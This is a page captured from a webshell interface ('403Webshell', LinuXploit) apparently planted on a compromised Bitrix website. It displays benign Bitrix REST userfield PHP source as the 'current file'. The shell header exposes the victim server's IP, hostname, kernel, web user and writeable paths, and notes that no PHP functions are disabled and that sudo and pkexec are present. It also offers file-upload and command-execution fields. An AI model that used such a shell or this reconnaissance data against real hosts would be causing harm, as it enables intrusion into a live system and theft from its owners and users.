403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/rest/lib/userfield/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/rest/lib/userfield/type.php
<?php
/**
 * Created by PhpStorm.
 * User: sigurd
 * Date: 26.09.17
 * Time: 19:26
 */

namespace Bitrix\Rest\UserField;


use Bitrix\Main\Text\HtmlFilter;
use Bitrix\Main\UserField\TypeBase;
use Bitrix\Rest\Api\UserFieldType;
use Bitrix\Rest\PlacementTable;

class Type extends TypeBase
{
	const USER_TYPE_ID = 'rest';

	public static function getDBColumnType()
	{
		$connection = \Bitrix\Main\Application::getConnection();
		$helper = $connection->getSqlHelper();
		return $helper->getColumnTypeByField(new \Bitrix\Main\ORM\Fields\TextField('x'));
	}

	public static function getPublicView($arUserField, $arAdditionalParameters = array())
	{
		$value = static::getFieldValue($arUserField, $arAdditionalParameters);

		$arUserField['VALUE'] = $value;

		return static::getApplication($arUserField, array(), 'view');
	}

	public static function getPublicEdit($arUserField, $arAdditionalParameters = array())
	{
		$fieldName = static::getFieldName($arUserField, $arAdditionalParameters);
		$value = static::getFieldValue($arUserField, $arAdditionalParameters);

		$arUserField['VALUE'] = $value;

		return static::getApplication($arUserField, array(
			'NAME' => $fieldName
		), 'edit');
	}

	function getEditFormHTML($arUserField, $arHtmlControl)
	{
		return static::getApplication($arUserField, $arHtmlControl, 'edit');
	}

	function getEditFormHTMLMulty($arUserField, $arHtmlControl)
	{
		return static::getApplication($arUserField, $arHtmlControl, 'edit');
	}

	protected static function getApplication($arUserField, $arHtmlControl, $mode = 'edit')
	{
		global $APPLICATION;

		$fieldName = $arHtmlControl['NAME'];
		$value = static::normalizeFieldValue($arUserField['VALUE']);

		$placementHandlerList = PlacementTable::getHandlersList(UserFieldType::PLACEMENT_UF_TYPE);
		$currentPlacementHandler = null;
		foreach($placementHandlerList as $placementInfo)
		{
			if($arUserField['USER_TYPE_ID'] === Callback::getUserTypeId($placementInfo))
			{
				$currentPlacementHandler = $placementInfo;
				break;
			}
		}

		$placementOptions = [
			'MODE' => $mode,
			'ENTITY_ID' => $arUserField['ENTITY_ID'],
			'FIELD_NAME' => $arUserField['FIELD_NAME'],
			'ENTITY_VALUE_ID' => $arUserField['ENTITY_VALUE_ID'],
			'VALUE' => $arUserField['MULTIPLE'] === 'N' ? $value[0] : $value,
			'MULTIPLE' => $arUserField['MULTIPLE'],
			'MANDATORY' => $arUserField['MANDATORY'],
			'XML_ID' => $arUserField['XML_ID'],
		];

		$event = new \Bitrix\Main\Event('rest', 'OnUserFieldPlacementPrepareParams', [
			$arUserField,
			&$placementOptions,
		]);
		$event->send();

		$html = '';
		if($currentPlacementHandler !== null)
		{
			ob_start();

			if($mode === 'edit'):
?>
<div style="display: none;" id="uf_rest_value_<?=$arUserField['FIELD_NAME']?>">
<?
				foreach($value as $res):
?>
	<input type="hidden" name="<?=$fieldName?>" value="<?=HtmlFilter::encode($res)?>" />
<?
				endforeach;
			endif;
?>
</div>
<?
			$placementSid = $APPLICATION->includeComponent(
				'bitrix:app.layout',
				'',
				array(
					'ID' => $currentPlacementHandler['APP_ID'],
					'PLACEMENT_ID' => $currentPlacementHandler['ID'],
					'PLACEMENT' => UserFieldType::PLACEMENT_UF_TYPE,
					'SHOW_LOADER' => 'N',
					'SET_TITLE' => 'N',
					'PLACEMENT_OPTIONS' => $placementOptions,
					'PARAM' => array(
						'FRAME_HEIGHT' => '200px',
					)
				),
				null,
				array('HIDE_ICONS' => 'Y')
			);
?>
<script>
	(function(){
		'use strict';

		new BX.rest.UserField('<?=$placementSid?>', {
			value: <?=\CUtil::phpToJsObject($arUserField['VALUE'])?>,
			callback: function(value)
			{
<?
			if($mode === 'edit'):
?>
				if(!BX.type.isArray(value))
				{
					value = [value];
				}

				var html = '';
				for(var i = 0; i < value.length; i++)
				{
					html += '<input type="hidden" name="<?=$fieldName?>" value="'+BX.util.htmlspecialchars(value[i])+'" />';
				}

				BX('uf_rest_value_<?=$arUserField['FIELD_NAME']?>').innerHTML = html;

				var input = BX('uf_rest_value_<?=$arUserField['FIELD_NAME']?>').firstChild;
				if(input)
				{
					BX.fireEvent(input, 'change');
				}
<?
			endif;
?>
			}
		});

	})();
</script>

<?
			$html = ob_get_clean();
		}

		\CJSCore::init(array('rest_userfield'));

		return static::getHelper()->wrapDisplayResult($html);

	}

	function prepareSettings($arUserField){}
	function getSettingsHTML($arUserField, $arHtmlControl, $bVarsFromForm){}
	function getFilterHTML($arUserField, $arHtmlControl){}
	function getFilterData($arUserField, $arHtmlControl){}
	function getAdminListViewHTML($arUserField, $arHtmlControl){}
	function getAdminListViewHTMLMulty($arUserField, $arHtmlControl){}
	function getAdminListEditHTML($arUserField, $arHtmlControl){}
	function getAdminListEditHTMLMulty($arUserField, $arHtmlControl){}
}

Youez - 2016 - github.com/yon3zu
LinuXploit